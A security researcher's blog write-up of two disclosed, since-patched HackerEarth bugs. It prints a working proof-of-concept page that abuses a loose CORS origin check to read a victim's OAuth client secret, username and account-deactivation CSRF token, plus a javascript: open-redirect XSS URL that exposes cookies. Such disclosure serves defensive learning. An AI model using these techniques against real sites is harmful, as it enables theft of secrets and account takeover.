Stealing HackerEarth Client Secrets via CORS Misconfiguration and Open Redirect XSS

Two bugs on HackerEarth - a CORS misconfiguration that leaks OAuth client secrets and CSRF tokens, and an open redirect that leads to XSS.

Introduction

I found two bugs on HackerEarth: a CORS misconfiguration that leaks OAuth client secrets and CSRF tokens to any attacker-controlled origin, and an open redirect that can be turned into reflected XSS. This post covers both.

Part 1: CORS Misconfiguration

The Access-Control-Allow-Origin check on the backend was flawed. By changing the Origin header in a request, I could get the server to reflect an arbitrary origin and allow credentialed cross-origin reads. The validation regex only looked for www.hackerearth.com somewhere after https://, so any host containing that substring passed.

I registered a subdomain, www.hackerearth.com.dr3dd.live, which satisfies the check. From a page hosted there I could make credentialed requests to HackerEarth and read the responses. The script below pulls the victim’s OAuth client ID, client secret, and username from their profile settings page, then fetches the CSRF token used to deactivate the account.

<!DOCTYPE html>
<html>
<body>

<div>
<h1>Getting hackerearth Client secrets for victim!!!</h1>
<button type="button" onclick="loadDoc()">Get secrets!!!</button>
  <div id="demo1"></div>
  <div id="demo2"></div>
  <div id="demo3"></div>
<button type="button" onclick="get_csrf_token()">You can get any csrf token and make changes in victim account like this is account deactivate csrf token!!!</button>
  <div id="demo4"></div>
</div>

<script>
function loadDoc() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        var parser=new DOMParser();
        var xmlDoc=parser.parseFromString(this.responseText, "text/html").documentElement;
        var clientId = xmlDoc.querySelector('#client-id');
        var clientSecret = xmlDoc.querySelector('#client-secret');
        var username = xmlDoc.querySelector('#change-username');
        document.getElementById("demo1").innerHTML = clientId.innerText;
        document.getElementById("demo2").innerHTML = clientSecret.innerText;
        document.getElementById("demo3").innerHTML = username.innerText.replace('Edit','');;
        
    }
  };
  xhttp.open("GET", "https://www.hackerearth.com/users/profile-settings/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
function get_csrf_token(){
  var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        var parser=new DOMParser();
        var xmlDoc= parser.parseFromString(this.responseText, "text/html").documentElement;
        var csrf = xmlDoc.querySelector('#deactivate-form')[0].value;
      document.getElementById("demo4").innerHTML = "csrf for deactivate account : " + csrf;
    }
  };
  var username = document.getElementById("demo3").innerText;
  var url = "https://www.hackerearth.com/deactivate/" + username.replace("Username: ","");;
  xhttp.open("GET", url, true);
  xhttp.withCredentials = true;
  xhttp.send();
}
  
  
</script>

</body>
</html>

Part 2: Open Redirect to XSS

The redirect parameter on the social login completion page was not validated. It accepted a javascript: URI, which turns the open redirect into reflected XSS. Loading the URL below executes JavaScript in the context of www.hackerearth.com, giving access to the victim’s cookies.

https://www.hackerearth.com/social-login-complete-page/?redirect=javascript:alert(document.cookie)

Status

The CORS misconfiguration was fixed. The open redirect / XSS took longer but was eventually patched as well. See the timeline below.

[Note: The bugs mentioned in this blog have been reported to Hackerearth for appropriate action and resolution.]

Timeline

  1. March-16-2020 Submit report to hackerearth via mail
  2. March-18-2020 Submit Detail POC for bugs
  3. March-27-2020 1st bug Core misconfiguration is fixed.
  4. April-18-2020 Asked for update but they said they still working on fix.
  5. Jan-02-2021 XSS is fixed.
  6. April-16-2021 Acknowledged and rewarded swag.